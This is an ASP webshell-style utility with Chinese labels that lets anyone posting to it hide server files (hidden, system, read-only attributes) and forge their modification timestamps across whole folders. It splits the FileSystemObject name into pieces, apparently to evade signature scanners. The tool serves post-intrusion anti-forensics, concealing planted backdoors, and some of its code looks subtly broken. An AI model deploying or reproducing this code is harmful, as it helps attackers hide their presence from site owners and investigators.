<% dim path,FileName,NewTime,ShuXing set path=request.Form("path") set filename=request.Form("filename") set newTime=request.Form("newTime") set ShuXing=request.Form("shuxing") %>

路径： 记得一定要以\结尾
名称： 如果留空,就设置所有文件
时间：例如12/21/2012 23:59:59 不修改的话,请留空
属性： 普通 只读 隐藏 系统 隐藏|存档 只读|存档 只读|隐藏|存档 只读|隐藏|存档|系统 by 蚊虫

<% if path<>"" then Set fso=Server.CreateObject("Scri"&"pting.FileSyste"&"mObject") Set shell=Server.CreateObject("Shell.Application") '===============我是文件的=============== if filename="" then '判断是修改全部 还是单个 Set objFolder=FSO.GetFolder(Path) For Each objFile In objFolder.Files fso.GetFile(objFile.Name).attributes=ShuXing Next Response.WRItE"修改 "&path&" 下的文件属性成功" else Set file=fso.getFile(path&fileName) file.attributes=ShuXing Response.WRItE"修改文件 "&path&fileName&" 属性完成 " end if '===============我是时间的=============== if newTime<>"" then '如果有数据就修改时间 Set app_path=shell.NameSpace(server.mappath(".")) if filename="" then '判断是修改全部 还是单个 Set objFolder=FSO.GetFolder(Path) For Each objFile In objFolder.Files Set app_file=app_path.ParseName(objFile.Name) app_file.Modifydate=newTime Next Response.WRItE"
修改 "&path&" 下的文件的时间成功" else Set app_file=app_path.ParseName(fileName) app_file.Modifydate=newTime Response.WRItE"
修改文件 "&path&fileName&" 时间完成 " end if end if end if %>